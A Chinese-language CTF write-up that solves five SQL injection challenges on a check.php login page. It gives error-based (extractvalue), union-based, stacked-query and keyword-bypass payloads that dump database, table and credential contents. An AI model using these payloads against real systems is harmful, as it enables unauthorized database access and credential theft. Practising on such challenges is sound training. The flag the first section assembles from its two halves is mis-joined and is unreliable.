一.极客大挑战 2019]HardSQL
首先,这道题目我通过查看别人的wp,发现过滤了空格,=,substring,mid
- 使用
()
代替空格- 使用
like
代替=
- 使用
right
、left
代替substring
、mid
使用万能密码,发现回显报错,但是并没给报错信息
页面无显示位,但有数据库的报错信息,所以判断为报错注入
报错注入使用函数(updatexml(xml_taget,xpath,new_xml)),这个函数是用来更新指定的xml文件,xpath的格式通常是为xx/xx/xx,传进去字符串就会报错,也就会显示报错信息,
利用updatexml(1,concat(0x7e,database()),2)
concat函数将里面内容连成字符串,与xpath的格式不符,所以会报错
0x7e的axii码为~,updatexml报错信息的内容为特殊字符、字母之后的内容,为了防止查询结果丢失加上特殊字符
注:
爆数据库database()
爆表select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())
爆字段:
select(group_concat(column_name))from(information_schema.columns)where(table_name)like
('表名')
爆内容:
select(group_concat(字段)from(表))
注意爆字段的时候表名需要有单引号,爆内容时不需要加
1.输入1',界面提示报错,根据报错,说明是字符型输入,利用报错信息回显flag
注意这里面过滤了空格,所以需要用()把sql语句圈起来,不能留空格
查询数据库:
/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(database()))))%23
爆表:
/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))%23
爆字段:
/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))))%23
爆数据,把password查出来:
/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(password)from(geek.H4rDsq1))))%23
~flag{7af70e36-fe1d-4423-9428-a
发现flag只出来了一半,所以使用使用{left(),right()}
/check.php?username=admin&password=admin%27^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))%23
/check.php?username=admin&password=admin%27^extractvalue(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1))))%23
得到了另一半flag:~6-fe1d-4423-9428-afbf155de8a8}
拼接到一起:flag{7af70e36-fe1d-4423-9428-a6-fe1d-4423-9428-afbf155de8a8}
二.[极客大挑战 2019]EasySQL1
因为已经确定是sql注入,所以判断它的注入类型
正常查询的回显
输入字符型判断一下,发现报错了,看报错显示 ‘1’‘’,输入的是1’,这里查询语句中应该是存在一个单引号的,所以这里报错了,多了一个单引号,说明这里存在字符型的注入,先用万能钥匙测测
使用万能钥匙一测,第一次 正常回显错误,然后又用字符型的测了一下,发现这里的报错中带有 一部分的查询语句
# 万能公式
1 and 1=1
1' and '1'='1
1 or 1=1
1' or '1'='1
flag{e51c7477-13b6-4abd-a933-58f0136b68c7}
使用 1' or '1'='1 这个万能密码发现直接登录成功,然后得到了flag
为什么 1' and '1' ='1不行?
测试的时候输入了 1’ and ‘1’='1这个有问题的payload,看报错信息中带有一个 and password=‘1’ and ‘1’=1 说明sql语句是SELECT * FROM tables WHERE username=‘1’ and ‘1’=1 and password=‘1’ and ‘1’=1 类似这样的查询,and 的两边同时为TRUE 结果才能为 TRUE,所以输入的payload一定要符合这个条件就可以登录成功了。
# payload
SELECT * FROM tables WHERE username='1' or '1'='1' and password='1' or '1'='1'
# 优先级排序:and 优先级高于 or,所以要计算 and 然后再计算 or
username='1'--->false
'1'='1'---> true
passwrod='1'--->false
'1'='1'--->true
false or (true and false) or true
false or false or true
false or true
#得出结果:true
照这种方法就可以推算出不同的解法
# payload1
# 用户名:1' and '1'='1
# 密码:1' or '1'='1# payload2
# 用户名:1' and '1'='2
# 密码:1' or '1'='1# 本质上都是利用 and 和 or 的优先级进行判断,只要返回 TRUE 就没问题
三.[SUCTF 2019]EasySQL1
输入数字1,发现有回显
输入字母a,发现没有回显(输入0同样没有回显)
通过查看其他大佬的wp,发现这道题目要用到堆叠注入
使用Sql堆叠注入查看信息,先用show指令查看数据库:
1;show databases;
再查看一下表:
1;show tables;
看到Flag表,猜测flag应该在Flag中。
但是用1;show columns from Flag;无法回显出flag只会回显Nonono. -->说明flag被过滤掉了
(注:1;show columns from用来查询表中列名称)
接下来回顾一下最开始我们输入的非0数字和0与字母所回显的内容:非0数字回显1,0和字母不会回显任何内容
先了解一下||操作符:在MySQL中,操作符||表示“或”逻辑:
command1 || command2
c1和c2其中一侧为1则取1,否则取0
这里猜测后端语句,因为只有当我们输入非零数字时才会会显出1,而0和其他全都无回显,而猜测逻辑大致是这样的:大胆猜测后端(内部查询语句)语句中有||操作符,只有我们输入非零数字才会满足||的逻辑为True从而进行回显的条件。也就是满足:select 输入的内容 || 一个列名 from 表名。(select 输入数据 || flag from Flag)
注:select语句用于从数据库中选取数据,返回的数据会储存在结果表中。
所以接下来搞清楚逻辑后,我们了解一下mssql中的||操作符意义:
mssql中||表示连接操作符,不表示或的逻辑。
从这里可以找到解题方法:既然我们要找到flag,后端又存在“或” 的逻辑,那么只需要把||或的逻辑改成连接符的作用就可以了。
这里需要借用到:设置 sql_mode=PIPES_AS_CONCAT来转换操作符的作用。(sql_mode设置)
利用PIPES_AS_CONCAT令||起到连接符的作用。
构建payload:
1;set sql_mode=PIPES_AS_CONCAT;select 1
注:这里的逻辑是先把||转换为连接操作符,注意分号隔断了前面的命令,所以要再次添加select来进行查询,这里把1换成其他非零数字也一样会回显flag
由此回显出flag
四.[极客大挑战 2019]LoveSQL1
注入的流程:
1.万能密码登陆
2.登陆后,使用联合查询注入
3.爆字段
4.看回显
5.爆数据库
6.爆数据库的表
7.爆出表的列
8.爆出flag
1.判断注入点
使用万能账号进行判断,payload如下
- 账号输入a' or true -- a
- 密码随便输入
111
发现回显中给了我们密码,登录一下试一试,发现回显和上图一样
2.爆字段
check.php?username=admin ' order by 1 %23&password=1
check.php?username=admin ' order by 2 %23&password=1
check.php?username=admin ' order by 3 %23&password=1
爆前三个均回显正常,但是爆到第四个时报错
说明有3个字段
3.查看回显位
/check.php?username=1' union select 1,2,3%23&password=1
发现回显点位在2,3
4.爆数据库
check.php?username=1' union select 1,database(),version()%23&password=1
数据库名:geek
版本:10.3.18-MariaDB
5.爆表名
/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1
数据库表名有:
geekuser
l0ve1ysq1
根据题目,表名应该就是l0ve1ysq1
6.爆表中的列
/check.php?username=
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='geekuser'
%23&password=1
7.爆flag
/check.php?username=1' union select 1,2,group_concat(id,username,password) from geekuser%23&password=1
换一个
l0ve1ysq1表
/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1
/check.php?username=1' union select 1,2,group_concat(username,0x40,password) from l0ve1ysq1 %23&password=1
/check.php?username=1' union select 1,2,group_concat(username,0x40,0x40,password) from l0ve1ysq1 %23&password=1
查看网页的源代码
发现了flag
五.[极客大挑战 2019]BabySQL1
根据前两题的经验,我们先用万能密码试一试
/check.php
?username=admin' or '1'='1
&password=1
登陆失败,尝试注释掉password的内容:
/check.php
?username=admin' %23
登陆成功,接下来尝试查询字段数:
/check.php
?username=admin' order by 3%23
&password=1
根据报错信息,可以判断出屏蔽掉了关键字:or,所以万能密码登陆失败,尝试双写绕过:
/check.php
?username=admin' oorr '1'='1%23
&password=1
因为存在将关键字置换为空的过滤,全部双写以绕过,查询字段数:
/check.php
?username=admin' uniunionon selselectect 1,2,3,4 %23
&password=1
判断出字段数为3
,查询回显点位:
/check.php
?username=1' uniunionon selselectect 11,22,33 %23
&password=1
得到回显点位为2
和3
,查询当前数据库名及版本:
/check.php
?username=1' uniunionon selselectect 11,version(),database() %23
&password=1
得到数据库名为:geek,继续查询当数据库中表名:
/check.php
?username=1' uniunionon selselectect 11,22,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database() %23
&password=1
得到两个表名为:b4bsql和geekuser,查询第一个表中的内容:
/check.php
?username=1' uniunionon selselectect 11,22,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql' %23
&password=1
得到该表中的字段信息,查询username和password的内容:
/check.php
?username=1' uniunionon selselectect 11,22,group_concat(concat_ws(0x7e,username,passwoorrd)) frfromom geek.b4bsql %23
&password=1
发现得到的信息只露出来一半,查看网页的源代码,找到flag
发现了flag:
flag{80026d3e-02bd-4d69-997e-634ea48d0e11}